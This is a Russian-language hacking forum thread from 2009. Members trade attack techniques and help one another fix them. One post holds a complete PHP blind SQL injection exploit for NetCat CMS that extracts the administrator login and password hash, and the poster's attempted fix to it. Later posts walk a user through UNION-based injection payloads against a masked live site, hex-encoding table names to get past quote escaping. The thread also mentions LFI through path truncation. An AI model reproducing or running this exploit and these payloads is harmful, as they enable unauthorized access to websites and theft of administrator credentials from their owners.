HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #7241  
Старый 19.05.2009, 03:11
cr0w
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме:
2753780

Репутация: 585
По умолчанию

Нужно, чтоб в include_path (в php.ini) хотя бы один абсолютный путь был прописан, тогда можно проэксплуатировать такой LFI. (;

add: Я это о способе проведения LFI через path truncation attack написал, если что. (:

Последний раз редактировалось cr0w; 19.05.2009 в 16:54..
 
Ответить с цитированием

  #7242  
Старый 19.05.2009, 17:46
_gr34t
Участник форума
Регистрация: 26.10.2008
Сообщений: 106
Провел на форуме:
461696

Репутация: 40
По умолчанию

Народ помогите.
Есть движок NetCat CMS. Версия предположительно 3.0
Есть SQL-inj, которая позволяет вытащить логин/пасс админа посимвольным перебором.
Есть сплоит.
Для работы нужно PECL_HTTP
PHP код:
<?

/*
    AIST NetCat Blind SQL Injection exploit by s4avrd0w [s4avrd0w@p0c.ru]
    Versions affected <= 3.12

    More info: http://www.netcat.ru/

    * tested on version 3.0, 3.12

    usage: 

    # ./NetCat_blind_SQL_exploit.php -s=NetCat_server -u=User_ID

    The options are required:
     -u The user identifier (number in table)
     -s Target for exploiting

    example:

    # ./NetCat_blind_SQL_exploit.php -s=http://localhost/netcat/ -u=2

    [+] Phase 1 brute login.
    [+] Brute 1 symbol...
    ...........a
    [+] Brute 2 symbol...
    ..............d
    [+] Brute 3 symbol...
    .......................m
    [+] Brute 4 symbol...
    ...................i
    [+] Brute 5 symbol...
    ........................n
    [+] Brute 6 symbol...
    .....................................
    [+] Phase 1 successfully finished: admin
    [+] Phase 2 brute password-hash.
    [+] Brute 1 symbol...
    *
    [+] Brute 2 symbol...
    .0
    [+] Brute 3 symbol...
    .0
    [+] Brute N symbol...
    
    <...>
    
    [+] Brute 42 symbol...
    .....................................
    [+] Phase 2 successfully finished: *00a51f3f48415c7d4e8908980d443c29c69b60c9
    
    
    [+] Exploiting is finished successfully
    [+] Login - admin
    [+] MySQL hash - *00a51f3f48415c7d4e8908980d443c29c69b60c9
    [+] Decrypt MySQL hash and login into NetCat CMS.

*/


function http_connect($query)
{

    global 
$server;

    
$headers = array(
        
'User-Agent' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14',
        
'Referer' => $server
    
);

    
$res_http = new HttpRequest($server."modules/poll/?cc=62&PollID=1".$queryHttpRequest::METH_GET);
    
$res_http->addHeaders($headers);

    
$t mktime();
    try {
        
$response $res_http->send()->getBody();

        
$t mktime() - $t;

        if (
$t 4)
        {
            return 
1;
        }
        else
        {
            return 
0;
        }

    } catch (
HttpException $exception) {

        print 
"[-] Not connected";
        exit(
0);

    }

}

function 
brute($User_id,$table)
{
    
$ret_str "";

    if (
$table == "Password")
    {
        
$b_str "*1234567890abcdef";
    }
    else
    {
        
$b_str "1abcdefghijklmnopqrstuvwxyz_234567890 !'#%&()*+,-./:;<=>?@[\]^{|}~абвгдежзийклмнопрстуфхцчшщъыьэюяё";
    }

    
$b_arr str_split($b_str);

    for (
$i=1;$i<43;$i++)
    {
        print 
"[+] Brute $i symbol...\n";

        for (
$j=0;$j<count($b_arr);$j++)
        {
            
$brute ord($b_arr[$j]);
            
$q "/**/AND/**/1=if((ASCII(lower(SUBSTRING((SELECT/**/$table/**/FROM/**/USER/**/limit/**/$User_id,1),$i,1))))=$brute,benchmark(1,benchmark(2000000,md5(now()))),0)";

            if (
http_connect($q))
            {
                
$ret_str=$ret_str.$b_arr[$j];
                print 
$b_arr[$j]."\n";
                break;
            }
            print 
".";


        }

        if (
$j == count($b_arr)) break;
    }

    return 
$ret_str;
}


function 
help_argc($script_name)
{
print 
"
usage:

# ./"
.$script_name." -s=NetCat_server -u=User_ID

The options are required:
-u The user identifier (number in table)
-s Target for exploiting

example:

# ./"
.$script_name." -s=http://localhost/netcat/ -u=1
[+] Phase 1 brute login.
[+] Brute 1 symbol...
..1
[+] Brute 2 symbol...
.....................................
[+] Phase 1 successfully finished: 1
[+] Phase 2 brute password-hash.
[+] Brute 1 symbol...
.....................................
[+] Phase 2 successfully finished:


[+] Exploiting is finished successfully
[+] Login - 1
[+] MySQL hash -
[+] You can login into NetCat CMS with the empty password
"
;
}

function 
successfully($login,$hash)
{
print 
"

[+] Exploiting is finished successfully
[+] Login - 
$login
[+] MySQL hash - 
$hash
"
;

if (
$hash) print "[+] Decrypt MySQL hash and login into NetCat CMS.\n";
else print 
"[+] You can login into NetCat CMS with the empty password\n";

}

if ((
$argc != 3) || in_array($argv[1], array('--help''-help''-h''-?')))
{
    
help_argc($argv[0]);
    exit(
0);
}
else
{
    
$ARG = array(); 
    foreach (
$argv as $arg) { 
        if (
strpos($arg'-') === 0) { 
            
$key substr($arg,1,1);
            if (!isset(
$ARG[$key])) $ARG[$key] = substr($arg,3,strlen($arg)); 
        } 
    }

    if (
$ARG[s] && $ARG[u])
    {
        
$server $ARG[s];
        
$User_id intval($ARG[u]);
        
$User_id--;

        print 
"[+] Phase 1 brute login.\n";
        
$login brute($User_id,"Login");
        print 
"\n[+] Phase 1 successfully finished: $login\n";

        print 
"[+] Phase 2 brute password-hash.\n";
        
$hash brute($User_id,"Password");
        print 
"\n[+] Phase 2 successfully finished: $hash\n";

        
successfully($login,$hash);
    }
    else
    {
        
help_argc($argv[0]);
        exit(
0);
    }

}

?>
Там, как я понял специально сделали ошибки.
Я исправил так:
PHP код:
<?
...
function 
brute($User_id,$table) {
...
            
$q "/**/AND/**/1=if((ASCII(lower(SUBSTRING((SELECT/**/$table/**/FROM/**/USER/**/WHERE/**/[B][U]User_ID=$User_id[/U][/B]/**/limit/**/0,1),$i,1))))=$brute,benchmark(1,benchmark(2000000,md5(now()))),0)";
...
}
...
function 
successfully($login,$hash)
{
...
//        $User_id--;
...
}
?>
Но всё равно не пашет. Коннектится к хосту, пишет, что перебирает логин...................... пасс.............. и выдаёт, что всё подобрал:
логин пустой и пасс пустой.
((
 
Ответить с цитированием

  #7243  
Старый 19.05.2009, 19:41
4adr0s
Познающий
Регистрация: 14.12.2007
Сообщений: 79
Провел на форуме:
329826

Репутация: 75
По умолчанию

Делаю такой запрос:
Код HTML:
http://www.xxx.com/index.phtml?page=news&id=-1+union+select+1,2,3,4,5,column_name,7,8+from+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='users'+LIMIT+1,1/*
А в ответ мне дулю вот такую:

PHP код:
Error in query 2 You have an error in your SQL syntaxcheck the manual that corresponds to your MySQL server version for the right syntax to use near '\'users\' LIMIT 1,1/* and rs.status='1' and r.id=rs.id_rubric' at line 4 
wtf, товарищи? что не так? Может кавычка не та? ))
 
Ответить с цитированием

  #7244  
Старый 19.05.2009, 19:44
Iceangel_
Members of Antichat - Level 5
Регистрация: 09.07.2006
Сообщений: 553
Провел на форуме:
7561206

Репутация: 1861


По умолчанию

2 4adr0s
стоят магик_квотесы, экранируются кавычки, нужно захексить
+WHERE+TABLE_NAME=0x7573657273+limit+1,1/*
 
Ответить с цитированием

  #7245  
Старый 19.05.2009, 20:17
4adr0s
Познающий
Регистрация: 14.12.2007
Сообщений: 79
Провел на форуме:
329826

Репутация: 75
По умолчанию

Цитата:
Сообщение от Iceangel_  
2 4adr0s
стоят магик_квотесы, экранируются кавычки, нужно захексить
+WHERE+TABLE_NAME=0x7573657273+limit+1,1/*
Не канает, родной


PHP код:
Error in query 2 You have an error in your SQL syntaxcheck the manual that corresponds to your MySQL server version for the right syntax to use near '/* and rs.status='1' and r.id=rs.id_rubric' at line 4 
и так тоже ('users')
+WHERE+TABLE_NAME=0x27757365727327+limit+1,1/*

не канает...
 
Ответить с цитированием

  #7246  
Старый 19.05.2009, 20:23
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

4adr0s
Ты читать умеешь? А поиском пользоваться?
Переведи ошибку, или хотя-бы просто ПОСМОТРИ на неё там написано. что комментарий не тот "/*"
Точнее ошибка, возле комментария. Так поменяй его. Или дай линк, зачем это гадание нужно

Есть закреплённая тема в которой все такие вопросы собраны, они уже 200 раз задавались
 
Ответить с цитированием

  #7247  
Старый 19.05.2009, 20:54
4adr0s
Познающий
Регистрация: 14.12.2007
Сообщений: 79
Провел на форуме:
329826

Репутация: 75
По умолчанию

Цитата:
Сообщение от jokester  
4adr0s
Ты читать умеешь? А поиском пользоваться?
Переведи ошибку, или хотя-бы просто ПОСМОТРИ на неё там написано. что комментарий не тот "/*"
Точнее ошибка, возле комментария. Так поменяй его. Или дай линк, зачем это гадание нужно
Насяльника! Зачем ругаися? )

Понял, все сделал. Страница открылась, но нифига не вылезло.

PHP код:
http://www.***.com/index.phtml?page=news&id=-1+union+select+1,2,3,4,5,column_name,7,8+from+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x27757365727327+LIMIT+1,1+-- 

Последний раз редактировалось 4adr0s; 19.05.2009 в 21:11..
 
Ответить с цитированием

  #7248  
Старый 19.05.2009, 20:57
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Цитата:
Сообщение от 4adr0s  
Насяльника! Зачем ругаися? )

Понял, все сделал. Страница открылась, но нифига не вылезло.

PHP код:
http://www.***.com/index.phtml?page=news&id=-1+union+select+1,2,3,4,5,column_name,7,8+from+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x27757365727327+LIMIT+1,1+-- 
А темку мою поленился почитать, да? А там написано, что в хексе кавычки не нужны

https://forum.antichat.ru/thread104591.html
Вопрос №4

Держи
http://www.***.com/index.phtml?page=news&id=-1+union+select+column_name,2,3,4,5,6,7,8+from+INFO RMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x75736572 73+LIMIT+1,1--+

Последний раз редактировалось jokester; 19.05.2009 в 21:55..
 
Ответить с цитированием

  #7249  
Старый 19.05.2009, 21:08
4adr0s
Познающий
Регистрация: 14.12.2007
Сообщений: 79
Провел на форуме:
329826

Репутация: 75
По умолчанию

Сенсей, эту тему в глаза не видел, но теперь почитаю.

Т.е. все дело было в том, чтобы использовать другое поле для вывода??
 
Ответить с цитированием

  #7250  
Старый 19.05.2009, 21:25
Tigger
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281

Репутация: 1177


Отправить сообщение для Tigger с помощью ICQ
По умолчанию

Цитата:
Сообщение от 4adr0s  
Сенсей, эту тему в глаза не видел, но теперь почитаю.

Т.е. все дело было в том, чтобы использовать другое поле для вывода??
дело было в том, что когда ты искал наблицу, т.е. where table_name, ты в hex закодировал имя таблицы+', а надо без кавычек.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Сценарии/CMF/СMS 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ